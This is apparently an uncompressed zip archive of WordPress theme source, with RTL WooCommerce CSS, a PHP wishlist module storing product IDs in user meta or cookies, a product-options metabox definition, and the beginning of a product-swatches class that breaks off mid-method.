	float: right;
}
.woocommerce .penci-active-filters .widget_layered_nav_filters ul li {
	padding-right: 0;
	margin-right: 0;
	border-right: 0;
	padding-left: 10px;
	margin-left: 10px;
	border-left: 1px solid var(--pcpage_gbdr_cl);
}
.summary .penci-breadcrumb.penci-woo-breadcrumb {
	padding-left: 40px;
	padding-right: 0;
}
.woocommerce-accordion.wc-accordion-wrapper .woocommerce-accordion-title:after {
	right: auto;
	left: 0;
}
.woocommerce div.penci-summary-align-center form.cart {
	display: flex;
	flex-wrap: wrap;
	justify-content: center;
}
.woocommerce div.penci-summary-align-center .product_meta {
	text-align: center;
}
body .penci-sidebar-cart .sidecart-content ul li a.remove {
	right: auto;
	left: 30px;
}
body.woocommerce-cart .entry-content .woocommerce .cart-collaterals .cart_totals table td {
	padding-left: 0;
	padding-right: 30px;
}
.woocommerce div.product form.cart .penci-swatches + .reset_variations,
.woocommerce div.product form.cart .jquery-grid-picker-widget + .reset_variations {
	margin: 0 10px 5px 0;
}
.products.product-list .penci-soledad-product .penci-product-loop-title {
	padding-left: 0;
	padding-right: 30px;
}
.woocommerce ul.products li.product .star-rating {
	right: auto;
	left: 10px;
}
.woocommerce nav.woocommerce-pagination ul li, .woocommerce .woocommerce-pagination ul.page-numbers li, .woocommerce-page .woocommerce-pagination ul.page-numbers li {
	float: right;
	margin-right: 0;
	margin-left: 10px;
}
.woocommerce nav.woocommerce-pagination ul > li:last-child, .woocommerce .woocommerce-pagination ul.page-numbers li:last-child, .woocommerce-page .woocommerce-pagination ul.page-numbers li:last-child {
	margin-left: 0;
}
.woocommerce .products.product-style-2 .penci-product-cats,
.woocommerce .products.product-style-2 .woocommerce-loop-product__title {
	padding-right: 0;
	padding-left: 80px;
}
.woocommerce .products.product-style-2 .product-labels {
	right: auto;
	left: 10px;
}
.woocommerce .penci-content-quickview .product-labels {
	right: 25px;
	left: auto;
}
.woocommerce .widget_shopping_cart .amount,
.woocommerce.widget_shopping_cart .amount {
	float: none;
}
.penci-content-quickview button.mfp-close, .penci-content-quickview button.mfp-arrow {
	right: auto;
	left: 0;
}
.product_meta .penci-product-brands .penci-product-brand a {
	margin-left: 0;
	margin-right: 10px;
}
.products.product-style-4 .penci-product-loop-title .button {
	left: auto;
	right: 0;
}
body.rtl .slick-slider {
	direction: rtl;
}
body.rtl .woocommerce-product-gallery.thumbnail-bottom .penci-thumbnail-image-list {
	direction: ltr;
}
.woocommerce div.product div.images.woocommerce-product-gallery.thumbnail-bottom .woocommerce-product-gallery__trigger {
	right: auto;
	left: 10px;
}
.penci-extra-buttons .penci-addtowishlist.button.loading:before,
.penci-extra-buttons .compare.button.loading:before {
	margin: -2px 0 0 5px;
}
.soledad-product-filter .with-swatch-image .layer-term-name img {
	margin-right: 0;
	margin-left: 5px;
}
.header-search-style-showup .show-search {
	left: 0;
	right: auto;
}
.header-search-style-showup .show-search form.pc-searchform input.search-input {
	border-left: 0 !important;
	border-right: 1px solid var(--pcborder-cl) !important;
}
.header-search-style-showup .show-search:before {
	right: auto;
	left: 15px;
}
.penci-header-cart-detail {
	right: auto;
	left: 0;
}
body.rtl #navigation.header-6 .pcheader-icon.shoping-cart-icon {
	margin-right: 15px;
}
body.rtl #navigation.header-6 .pcheader-icon:last-child {
	margin-right: 40px;
}
.penci-header-cart-detail ul.product_list_widget li a.remove {
	right: auto;
	left: 10px;
}
.woocommerce ul.cart_list li, .woocommerce ul.product_list_widget li {
	padding-right: 0;
	padding-left: 20px;
}
body.rtl .products.product-style-4 .penci-product-loop-title .button.added:after {
	margin-left: 10px;
	margin-right: 0;
}
body.rtl #navigation.header-4 .pcheader-icon.shoping-cart-icon,
body.rtl #navigation.header-5 .pcheader-icon.shoping-cart-icon,
#navigation.header-1 .pcheader-icon.penci-top-search,
#navigation.header-2 .pcheader-icon.penci-top-search,
#navigation.header-3 .pcheader-icon.penci-top-search,
#navigation.header-6 .pcheader-icon.penci-top-search,
#navigation.header-7 .pcheader-icon.penci-top-search,
#navigation.header-8 .pcheader-icon.penci-top-search,
#navigation .pcheader-icon:first-child {
	margin-right: 10px;
}
.penci-header-wrap .penci-menuhbg-wapper{
	margin-left: 0;
	margin-right: 12px;
}
.penci-header-wrap .pc-builder-element.penci-menuhbg-wapper {
	margin-right: 0;
}
.penci-header-wrap .header-4 .penci-menuhbg-wapper,
.penci-header-wrap .header-5 .penci-menuhbg-wapper{
	margin-left: 12px;
}
.penci-header-wrap .header-6 .penci-menuhbg-wapper{
	margin-left: 12px;
	margin-right: 0;
}
#navigation .pcheader-icon:last-child {
	margin-right: 0;
}
.woocommerce .penci_woo_pages_breadcrumbs ul li::after {
	transform: rotate(180deg);
}
.woocommerce .product.penci-product-img-fullwidth-container .penci-top-relate-post {
	right: auto;
	left: calc((100% - 1170px) / 2);
}
.woocommerce div.penci-product-img-fullwidth-container div.images .woocommerce-product-gallery__trigger {
	right: auto;
	left: calc((100% - 1170px) / 2);
}
html .jq-toast-heading {
	text-align: right;
}
html .jq-toast-heading .product_image{
	margin-right: 0;
	margin-left: 10px;
}
.close-jq-toast-single {
	right: auto;
	left: 7px;
}
@media only screen and (min-width: 768px) {
	.woocommerce .product.penci-product-img-fullwidth-container .penci-single-product-top-container .product-labels {
		left: auto;
		right: 10px;
		transform: scaleX(-1);
	}
	.woocommerce div.product.penci-summary-align-center .product_title {
		padding-left: 110px;
		padding-right: 110px;
	}
}
@media only screen and (min-width: 768px) {
	.top-related-posts-show .summary .penci-breadcrumb.penci-woo-breadcrumb {
		padding-left: 110px;
		padding-right: 0;
	}
}
PK     N\pC>.  .  $  inc/woocommerce/modules/wishlist.phpnu [        <?php

class penci_product_wishlist {

	protected static $instance = null;

	private $save_me = '';

	function __construct() {

		if ( get_theme_mod( 'penci_woocommerce_wishlist_only_logged_in', false ) && ! is_user_logged_in() ) {
			return false;
		}

		if ( get_theme_mod( 'penci_woocommerce_wishlist_show', true ) ) {
			add_action( 'penci_loop_product_buttons', array( $this, 'wishlist_button' ) );
		}

		add_action( 'penci_single_product_extra_buttons', array( $this, 'wishlist_button' ), 5 );

		add_action( 'wp_ajax_nopriv_penci_add_to_wishlist', array( $this, 'add_to_wishlist' ) );
		add_action( 'wp_ajax_penci_add_to_wishlist', array( $this, 'add_to_wishlist' ) );

		add_action( 'wp_ajax_nopriv_penci_remove_wishlist_item', array( $this, 'remove_wishlist_item' ) );
		add_action( 'wp_ajax_penci_remove_wishlist_item', array( $this, 'remove_wishlist_item' ) );

		add_action( 'penci_header_extra_icons', array( $this, 'header_icon' ), 15 );

		add_action( 'penci_current_wishlist', array( $this, 'current_wishlist' ) );

		add_action( 'penci_before_product_loop', array( $this, 'wistlist_remove_icon' ), 10 );

		add_shortcode( 'penci_wishlist', array( $this, 'wishlist_content_shortcode' ) );

		$this->save_me = 'penci_soledad_wishlist_products';
		if ( is_multisite() ) {
			$this->save_me .= '_' . get_current_blog_id();
		}

		add_action( 'admin_notices', array( $this, 'wishlist_admin_notice' ) );

		add_action( 'penci_footer_nav_wishlist_item', array( $this, 'wishlist_footer_nav' ) );

		add_action( 'display_post_states', array( $this, 'admin_wishlist_post_state' ), 10, 2 );

		add_filter( 'the_content', array( $this, 'wishlist_page_content' ) );

		add_filter(
			'body_class',
			function ( $class ) {
				$wishlist_page = get_theme_mod( 'penci_woocommerce_wishlist_page' );

				if ( $wishlist_page && is_page( $wishlist_page ) ) {
					$class[] = 'elementor-page penci-wishlist-page';
				}

				return $class;
			},
			10,
			1
		);
	}

	public static function instance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function wishlist_footer_nav() {
		echo '<span class="current-item">' . $this->current_wishlist( true ) . '</span>';
	}

	public function current_wishlist( $return = false ) {
		$number        = $this->get_user_wishlist( $this->save_me );
		$product_check = array();

		if ( $number && is_array( $number ) ) {
			$product_check = get_posts(
				array(
					'post_type'      => 'product',
					'post__in'       => $number,
					'posts_per_page' => - 1,
				)
			);
		}

		$number = count( $product_check );

		if ( $return ) {
			return $number;
		} else {
			echo $number;
		}
	}

	public function get_user_wishlist( $name ) {

		$save_wishlist = $this->get_data( $name );
		$save_wishlist = unserialize( base64_decode( $save_wishlist ), array( 'allowed_classes' => false ) );

		return $save_wishlist;
	}

	public function get_data( $name ) {

		if ( is_user_logged_in() ) {
			$data = get_user_meta( get_current_user_id(), $name, true );
		} else {
			$data = $this->get_cookie( $name );
		}

		return $data;
	}

	public function get_cookie( $name ) {
		return isset( $_COOKIE[ $name ] ) ? sanitize_text_field( wp_unslash( $_COOKIE[ $name ] ) ) : false;
	}

	public function wishlist_button() {

		$class = '';
		$href  = '?add-to-wishlist=' . get_the_id();
		$text  = penci_woo_translate_text( 'penci_woo_trans_adtwilsh' );

		$save_wisthlist = $this->get_user_wishlist( $this->save_me );

		if ( isset( $save_wisthlist ) && $save_wisthlist && in_array( get_the_ID(), $save_wisthlist ) ) {
			$class = ' added';
			$text  = penci_woo_translate_text( 'penci_woo_trans_brtwilsh' );
			$href  = get_page_link( get_theme_mod( 'penci_woocommerce_wishlist_page' ) );
		}

		echo '<a title="' . $text . '" href="' . $href . '" data-pid="' . get_the_ID() . '" class="penci-addtowishlist button ' . $class . '">' . $text . '</a>';
	}

	public function add_to_wishlist() {

		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( 'Nope!' );
		}

		$productID        = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';
		$productTitle     = get_the_title( $productID );
		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page' );

		if ( ! $productID ) {
			return false;
		}

		$this->set_wishlist_data( $this->save_me, $productID );

		$wish_list_page_url = $wishlist_page_id ? esc_url( get_page_link( $wishlist_page_id ) ) : get_home_url();

		wp_send_json_success(
			array(
				'title'     => esc_attr( get_the_title( $productID ) ),
				'item_link' => esc_url( get_permalink( $productID ) ),
				'img'       => esc_url( get_the_post_thumbnail_url( $productID, 'woocommerce_gallery_thumbnail' ) ),
				'total'     => (int) $this->current_wishlist( true ),
				'url'       => $wish_list_page_url,
			),
			200
		);

		wp_die();
	}

	public function set_wishlist_data( $name, $value ) {

		$current_wishlist = $this->get_data( $name );

		if ( $current_wishlist ) {
			$current_wishlist = unserialize( base64_decode( $current_wishlist ), array( 'allowed_classes' => false ) );

			if ( ! isset( $current_wishlist[ $value ] ) ) {
				$current_wishlist[] = $value;
				$new_wishlist       = base64_encode( serialize( $current_wishlist ) );
				$this->set_data( $name, $new_wishlist );
			}
		} else {
			$current_wishlist   = array();
			$current_wishlist[] = $value;
			$this->set_data( $name, base64_encode( serialize( $current_wishlist ) ) );
		}
	}

	public function set_data( $name, $value ) {
		if ( is_user_logged_in() ) {
			update_user_meta( get_current_user_id(), $name, $value );
		} else {
			$this->set_cookie( $name, $value );
		}
	}

	public function set_cookie( $name, $value ) {
		setcookie( $name, $value, time() + intval( 60 * 60 * 24 * 7 ), COOKIEPATH, COOKIE_DOMAIN, false, false );
		$_COOKIE[ $name ] = $value;
	}

	public function remove_wishlist_item() {

		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die( 'Nope!' );
		}

		$productID = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';

		if ( ! $productID ) {
			return false;
		}

		$this->delete_wishlist_item( $this->save_me, $productID );

		$wishlist_page_id  = get_theme_mod( 'penci_woocommerce_wishlist_page' );
		$wishlist_page_url = $wishlist_page_id ? esc_url( get_page_link( $wishlist_page_id ) ) : get_home_url();

		wp_send_json_success(
			array(
				'title'     => esc_attr( get_the_title( $productID ) ),
				'item_link' => esc_url( get_permalink( $productID ) ),
				'img'       => esc_url( get_the_post_thumbnail_url( $productID, 'woocommerce_gallery_thumbnail' ) ),
				'total'     => (int) $this->current_wishlist( true ),
				'url'       => $wishlist_page_url,
			),
			200
		);
	}

	public function delete_wishlist_item( $name, $value ) {

		$current_wishlist = $this->get_data( $name );

		if ( $current_wishlist ) {
			$current_wishlist = unserialize( base64_decode( $current_wishlist ), array( 'allowed_classes' => false ) );

			if ( isset( $current_wishlist ) && $current_wishlist ) {

				if ( ( $key = array_search( $value, $current_wishlist ) ) !== false ) {
					unset( $current_wishlist[ $key ] );
				}

				$new_wishlist = base64_encode( serialize( $current_wishlist ) );
				$this->set_data( $name, $new_wishlist );
			}
		}
	}

	public function header_icon() {
		get_template_part( 'woocommerce/header/wishlist-icon' );
	}

	public function wistlist_remove_icon() {

		$wishlist_page = get_theme_mod( 'penci_woocommerce_wishlist_page' );

		if ( $wishlist_page && is_page( $wishlist_page ) ) {

			$class = '';
			$text  = penci_woo_translate_text( 'penci_woo_trans_rmproduct' );
			$href  = '?remove-from-wishlist=' . get_the_id();

			$save_wisthlist = $this->get_user_wishlist( $this->save_me );

			if ( isset( $save_wisthlist ) && $save_wisthlist && in_array( get_the_ID(), $save_wisthlist ) ) {
				echo '<a title="' . $text . '" href="' . $href . '" data-pID="' . get_the_ID() . '" class="penci-removewishlist button ' . $class . '">' . $text . '</a>'; //phpcs:ignore
			}
		}
	}

	public function wishlist_admin_notice() {
		$query['autofocus[section]'] = 'pencidesign_woo_wishlist_settings';
		$section_link                = add_query_arg( $query, admin_url( 'customize.php' ) );
		if ( get_theme_mod( 'penci_woocommerce_wishlist', false ) && ! get_theme_mod( 'penci_woocommerce_wishlist_page' ) ) {
			?>
			<div class="notice notice-warning is-dismissible">
				<p><?php _e( 'Penci Wishlist need to assign the wishlist page. Please create a new page with <strong>[penci_wishlist]</strong> content shortcode, then go to <a href="' . esc_url( $section_link ) . '">this page</a> to configure.', 'soledad' ); ?></p>
			</div>
			<?php
		}
		if ( get_theme_mod( 'penci_woocommerce_wishlist', false ) && class_exists( 'YITH_WCWL_Frontend' ) ) {
			?>
			<div class="notice notice-error is-dismissible">
				<p><?php _e( 'You\'ve activated the YITH WooCommerce Wishlist plugin, please go to <a href="' . esc_url( $section_link ) . '">this page</a> to disable default theme Wishlist.', 'soledad' ); ?></p>
			</div>
			<?php

		}
	}

	public function admin_wishlist_post_state( $post_states, $post ) {

		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page', false );

		if ( $wishlist_page_id && $post->ID == $wishlist_page_id ) {
			$post_states[] = esc_attr__( 'Soledad Wishlist Products', 'soledad' );
		}

		return $post_states;
	}

	public function wishlist_page_content( $content ) {
		$wishlist_page_id = get_theme_mod( 'penci_woocommerce_wishlist_page', false );

		if ( is_page( $wishlist_page_id ) && empty( $content ) ) {
			$content = $this->wishlist_content_shortcode();
		}

		return $content;
	}

	public function wishlist_content_shortcode() {
		ob_start();
		$this->get_wishlist_products();

		return ob_get_clean();
	}

	public function get_wishlist_products() {

		$classes   = array();
		$classes[] = 'penci-wishlist-products';

		$post_ids = $this->get_user_wishlist( $this->save_me );

		$icon_position = get_theme_mod( 'penci_woocommerce_product_icon_hover_position', 'top-left' );
		$icon_style    = get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' );
		$pagination    = get_theme_mod( 'penci_woocommerce_wishlist_pagination' );

		$settings = array(
			'class'               => 'penci-wishlists-products-container',
			'pagination'          => $pagination ? $pagination : 'pagination',
			'post_type'           => 'ids',
			'items_per_page'      => get_theme_mod( 'penci_woocommerce_wishlist_ppp', 24 ),
			'include'             => $post_ids,
			'loop_name'           => 'wishlist',
			'icon_style'          => get_theme_mod( 'penci_woocommerce_product_icon_hover_style', 'round' ),
			'icon_position'       => $icon_position,
			'icon_animation'      => get_theme_mod( 'penci_woocommerce_product_icon_hover_animation', 'move-right' ),
			'product_round_style' => penci_shop_product_round_style( $icon_style, $icon_position ),
			'product_style'       => get_theme_mod( 'penci_woocommerce_product_style', 'style-1' ),
		);

		$check_products = get_posts(
			array(
				'post_type' => 'product',
				'post__in'  => $post_ids,
			)
		);

		if ( ! empty( $check_products ) && $post_ids ) {
			penci_elementor_products_template( $settings, true );
		} else {
			?>

			<div class="woocommerce">

				<div class="penci-wishlist-products-empty-text">
					<h3 class="penci-wishlist-empty-title"><?php echo penci_woo_translate_text( 'penci_woo_trans_wishlist_empty_title' ); ?></h3>
					<?php echo penci_woo_translate_text( 'penci_woocommerce_wishlist_empty_text' ); ?>
				</div>

				<p class="return-to-shop">
					<a class="button"
						href="<?php echo esc_url( wc_get_page_permalink( 'shop' ) ); ?>">
						<?php echo penci_woo_translate_text( 'penci_woo_trans_returnshop' ); ?>
					</a>
				</p>
			</div>

			<?php
		}
	}
}

$penci_product_wishlist = new penci_product_wishlist();
PK     N\+")  )  %  inc/woocommerce/modules/metaboxes.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_filter( 'penci_meta_boxes', 'penci_product_meta_box' );
function penci_product_meta_box( $meta_boxes ) {

	$tabs = array(
		'product_general'       => array(
			'label' => esc_html__( 'General', 'soledad' ),
			'icon'  => 'dashicons dashicons-admin-settings',
		),
		'product_background'    => array(
			'label' => esc_html__( 'Background', 'soledad' ),
			'icon'  => 'dashicons dashicons-admin-customizer',
		),
		'product_sidebar'       => array(
			'label' => esc_html__( 'Sidebar', 'soledad' ),
			'icon'  => 'dashicons dashicons-welcome-widgets-menus',
		),
		'product_custom_tab'    => array(
			'label' => esc_html__( 'Custom Tab', 'soledad' ),
			'icon'  => 'dashicons dashicons-table-row-after',
		),
		'product_extra_options' => array(
			'label' => esc_html__( 'Extra Options', 'soledad' ),
			'icon'  => 'dashicons dashicons-cart',
		),
		'product_custom_css'    => array(
			'label' => esc_html__( 'Custom CSS', 'soledad' ),
			'icon'  => 'dashicons dashicons-editor-code',
		),
	);

	$soledad_sidebar_area                      = array();
	$soledad_sidebar_area['']                  = 'Default Value';
	$soledad_sidebar_area['main-sidebar']      = esc_attr__( "Main Sidebar", "soledad" );
	$soledad_sidebar_area['main-sidebar-left'] = esc_attr__( "Main Sidebar Left", "soledad" );
	$soledad_sidebar_area['penci-shop-single'] = esc_attr__( "Sidebar For Single Product", "soledad" );
	for ( $i = 1; $i <= 10; $i ++ ) {
		$soledad_sidebar_area[ 'custom-sidebar-' . $i ] = sprintf( esc_attr__( 'Custom Sidebar %s', 'soledad' ), $i );
	}

	$soledad_sidebar_area = apply_filters( 'penci_woo_settings_sidebars', $soledad_sidebar_area );

	$fields = array(

		array(
			'tab'     => 'product_general',
			'id'      => 'product_summary_align',
			'name'    => esc_html__( 'Product Summary Align', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''       => 'Default Value ( on Customize )',
				'left'   => 'Align Left',
				'center' => 'Align Center',
			),
			'desc'    => esc_html__( 'Override main product summary content for this product.', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_product_img_width',
			'name'    => esc_html__( 'Product image width', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''                    => 'Default Value ( on Customize )',
				'standard'            => 'Standard',
				'medium'              => 'Medium',
				'large'               => 'Large',
				'fullwidth-container' => 'Full Width (Container)',
				'fullwidth'           => 'Full Width',
			),
			'desc'    => esc_html__( 'You can choose different page layout depending on the product image size you need', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_product_thumbnail_position',
			'name'    => esc_html__( 'Thumbnails position', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''                       => 'Default Value ( on Customize )',
				'thumbnail-left'         => 'Left',
				'thumbnail-right'        => 'Right',
				'thumbnail-bottom'       => 'Bottom',
				'thumbnail-bottom-1-col' => 'Bottom 1 Column',
				'thumbnail-bottom-2-col' => 'Bottom 2 Column',
				'thumbnail-grid'         => 'Grid',
				'thumbnail-without'      => 'Without',
			),
			'desc'    => esc_html__( 'Use vertical or horizontal position for thumbnails.', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_product_style',
			'name'    => esc_html__( 'Product Style', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''                  => 'Default Value ( on Customize )',
				'default'           => 'Standard',
				'accordion-tab'     => 'Accordion Toggle',
				'accordion-content' => 'Accordion Content',
			),
			'desc'    => esc_html__( 'Select default product style', 'soledad' ),
		),

		array(
			'tab'     => 'product_general',
			'id'      => 'penci_single_sticky_atc',
			'name'    => esc_html__( 'Enable sticky add to cart ?', 'soledad' ),
			'type'    => 'select',
			'options' => array(
				''        => 'Default Value ( on Customize )',
				'enable'  => 'Enable',
				'disable' => 'Disable',
			),
			'desc'    => esc_html__( 'Enable sticky add to cart on the bottom of the page', 'soledad' ),
		),

		// Sidebar
		array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_position',
			'name'    => esc_html__( 'Sidebar position', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''        => 'Default Value ( on Customize )',
				'left'    => 'Sidebar Left',
				'right'   => 'Sidebar Right',
				'disable' => 'Disable Sidebar',
			),
			'desc'    => esc_html__( 'Select main content and sidebar alignment.', 'soledad' ),
		),

		array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_placement',
			'name'    => esc_html__( 'Sidebar Placement', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''       => 'Default Value ( on Customize )',
				'bottom' => 'Bottom Content',
				'both'   => 'Top & Bottom',
			),
		),

		/*array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_size',
			'name'    => esc_html__( 'Sidebar size', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''       => 'Default Value ( on Customize )',
				'small'  => 'Small Sidebar',
				'medium' => 'Medium Sidebar',
				'large'  => 'Large Sidebar',
			),
			'desc'    => esc_html__( 'You can set different sizes for your pages sidebar', 'soledad' ),
		),*/


		array(
			'tab'     => 'product_sidebar',
			'id'      => 'sidebar_area',
			'name'    => esc_html__( 'Custom sidebar for this product', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $soledad_sidebar_area,
		),

		// Background
		array(
			'id'   => 'product_wrap_bgcolor',
			'type' => 'color',
			'name' => esc_html__( 'Background Color', 'soledad' ),
			'tab'  => 'product_background',
		),
		array(
			'id'   => 'product_wrap_bgimg',
			'type' => 'image',
			'name' => esc_html__( 'Background Image', 'soledad' ),
			'tab'  => 'product_background',
		),
		array(
			'name'    => esc_html__( 'Background Position', 'soledad' ),
			'id'      => 'product_wrap_bg_pos',
			'type'    => 'select',
			'options' => array(
				'center'        => esc_html__( 'Center', 'soledad' ),
				'left_top'      => esc_html__( 'Left Top', 'soledad' ),
				'left_center'   => esc_html__( 'Left Center', 'soledad' ),
				'left_bottom'   => esc_html__( 'Left Bottom', 'soledad' ),
				'right_top'     => esc_html__( 'Right Top', 'soledad' ),
				'right_center'  => esc_html__( 'Right Center', 'soledad' ),
				'right_bottom'  => esc_html__( 'Right Bottom', 'soledad' ),
				'center_top'    => esc_html__( 'Center Top', 'soledad' ),
				'center_bottom' => esc_html__( 'Center Bottom', 'soledad' ),
			),
			'std'     => 'center',
			'tab'     => 'product_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Size', 'soledad' ),
			'id'      => 'product_wrap_bg_size',
			'type'    => 'select',
			'std'     => 'cover',
			'options' => array(
				'cover'   => esc_html__( 'Cover', 'soledad' ),
				'auto'    => esc_html__( 'Auto', 'soledad' ),
				'contain' => esc_html__( 'Contain', 'soledad' ),
			),
			'tab'     => 'product_background',
			'style'   => 'penci-col-6'
		),
		array(
			'name'    => esc_html__( 'Background Repeat', 'soledad' ),
			'id'      => 'product_wrap_bg_repeat',
			'type'    => 'select',
			'std'     => 'no-repeat',
			'options' => array(
				'repeat'    => esc_html__( 'Repeat', 'soledad' ),
				'no-repeat' => esc_html__( 'No repeat', 'soledad' ),
			),
			'tab'     => 'product_background',
			'style'   => 'penci-col-6'
		),

		// Custom Tab
		array(
			'name' => esc_html__( 'Hidden Tab Title', 'soledad' ),
			'id'   => 'tab_title_visible',
			'type' => 'checkbox',
			'tab'  => 'product_custom_tab',
		),

		array(
			'name' => esc_html__( 'Custom Tab Title', 'soledad' ),
			'id'   => 'tab_title',
			'type' => 'text',
			'tab'  => 'product_custom_tab',
		),

		array(
			'name' => esc_html__( 'Custom Tab Content', 'soledad' ),
			'id'   => 'tab_content',
			'type' => 'wysiwyg',
			'tab'  => 'product_custom_tab',
		),

		array(
			'name' => esc_html__( 'Priority', 'soledad' ),
			'id'   => 'tab_priority',
			'type' => 'number',
			'std'  => 50,
			'tab'  => 'product_custom_tab',
		),

		// Extra Options
		array(
			'name'    => esc_html__( 'Brands Display', 'soledad' ),
			'id'      => 'brand_locate',
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''        => esc_html__( 'Default Theme Locate', 'soledad' ),
				'top'     => esc_html__( 'Top', 'soledad' ),
				'summary' => esc_html__( 'Summary', 'soledad' ),
			),
			'tab'     => 'product_extra_options',
		),
		array(
			'name' => esc_html__( 'Permanent "New" label', 'soledad' ),
			'id'   => 'permanent_new_label',
			'type' => 'checkbox',
			'tab'  => 'product_extra_options',
			'desc' => __( 'Enable this option to make your product have "New" status forever.', 'soledad' ),
		),

		array(
			'name' => esc_html__( 'Hide related products', 'soledad' ),
			'id'   => 'hide_related_products',
			'type' => 'checkbox',
			'tab'  => 'product_extra_options',
			'desc' => __( 'You can hide related products on this page', 'soledad' ),
		),

		array(
			'name'    => esc_html__( 'Grid swatch attribute to display', 'soledad' ),
			'id'      => 'grid_swatch',
			'type'    => 'select',
			'tab'     => 'product_extra_options',
			'options' => penci_product_attributes_array( true ),
			'desc'    => __( 'Choose attribute that will be shown on products grid for this particular product', 'soledad' ),
		),

		// Custom css

		array(
			'name'        => esc_html__( 'Custom CSS Code', 'soledad' ),
			'id'          => 'product_custom_css',
			'type'        => 'textarea',
			'tab'         => 'product_custom_css',
			'placeholder' => '.class{ color: #fff; }',
			'desc'        => __( 'Enter your CSS code. In some case, the <code>!important</code> tag may be needed', 'soledad' ),
		),
	);

	$meta_boxes[] = array(
		'id'         => 'penci-metabox-product',
		'title'      => esc_html__( 'Product Options', 'soledad' ),
		'post_types' => array( 'product' ),
		'context'    => 'advanced',
		'priority'   => 'default',
		'autosave'   => 'false',
		'tabs'       => apply_filters( 'penci_product_meta_box_tabs', $tabs ),
		'fields'     => apply_filters( 'penci_product_meta_box_fields', $fields ),
	);

	return $meta_boxes;
}
PK     N\]Qi  i  $  inc/woocommerce/modules/swatches.phpnu [        <?php

class penci_product_swatches {

	protected static $instance = null;

	public $types = array();

	public function __construct() {
		add_action( 'init', [ $this, 'init'] );
	}

	public function init() {
		$this->types = array(
			'color' => esc_html__( 'Color', 'soledad' ),
			'image' => esc_html__( 'Image', 'soledad' ),
			'label' => esc_html__( 'Label', 'soledad' ),
		);

		if ( is_admin() ) {
			add_action( 'admin_init', array( $this, 'init_attribute_hooks' ) );
			add_action( 'admin_notices', array( $this, 'restore_attributes_notice' ) );
			add_action( 'admin_init', array( $this, 'restore_attribute_types' ) );
			add_action( 'admin_print_scripts', array( $this, 'admin_enqueue_scripts' ) );
			add_action( 'woocommerce_product_option_terms', array( $this, 'product_option_terms' ), 10, 2 );
			add_action( 'wp_ajax_penci_add_new_attribute', array( $this, 'add_new_attribute_ajax' ) );
			add_action( 'admin_footer', array( $this, 'add_attribute_term_template' ) );
			add_action( 'edit_post', array( $this, 'deleted_transitent' ) );
		}

		add_filter( 'product_attributes_type_selector', array( $this, 'add_attribute_types' ) );
		add_action( 'penci_product_attribute_field', array( $this, 'attribute_fields' ), 10, 3 );
		add_filter( 'woocommerce_dropdown_variation_attribute_options_html', array(
			$this,
			'get_swatch_html'
		), 100, 2 );
		add_filter( 'penci_swatch_html', array( $this, 'swatch_html' ), 5, 4 );

		add_action( 'penci_swatches_loop', array( $this, 'product_swatches_list' ) );
		add_action( 'penci_loop_product_image', array( $this, 'preload_icon' ) );
	}

	public static function instance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function admin_enqueue_scripts() {
		$screen = get_current_screen();
		if ( strpos( $screen->id, 'edit-pa_' ) === false && strpos( $screen->id, 'product' ) === false ) {
			return;
		}

		wp_enqueue_media();

		wp_enqueue_style( 'penci-admin', PENCI_SOLEDAD_URL . '/inc/woocommerce/css/penci-admin.css', array( 'wp-color-picker' ), '1.0' );
		wp_enqueue_script( 'penci-admin', PENCI_SOLEDAD_URL . '/inc/woocommerce/js/penci-admin.js', array(
			'jquery',
			'wp-color-picker',
			'wp-util'
		), '1.0', true );

		wp_localize_script(
			'penci-admin',
			'penci',
			array(
				'i18n'        => array(
					'mediaTitle'  => esc_html__( 'Choose an image', 'soledad' ),
					'mediaButton' => esc_html__( 'Use image', 'soledad' ),
				),
				'placeholder' => WC()->plugin_url() . '/assets/images/placeholder.png'
			)
		);
	}

	public function add_attribute_types( $types ) {
		$types = array_merge( $types, $this->types );

		return $types;
	}

	public function init_attribute_hooks() {
		$attribute_taxonomies = wc_get_attribute_taxonomies();

		if ( empty( $attribute_taxonomies ) ) {
			return;
		}

		foreach ( $attribute_taxonomies as $tax ) {
			add_action( 'pa_' . $tax->attribute_name . '_add_form_fields', array( $this, 'add_attribute_fields' ) );
			add_action( 'pa_' . $tax->attribute_name . '_edit_form_fields', array(
				$this,
				'edit_attribute_fields'
			), 10, 2 );

			add_filter( 'manage_edit-pa_' . $tax->attribute_name . '_columns', array(
				$this,
				'add_attribute_columns'
			) );
			add_filter( 'manage_pa_' . $tax->attribute_name . '_custom_column', array(
				$this,
				'add_attribute_column_content'
			), 10, 3 );
		}

		add_action( 'created_term', array( $this, 'save_term_meta' ), 10, 2 );
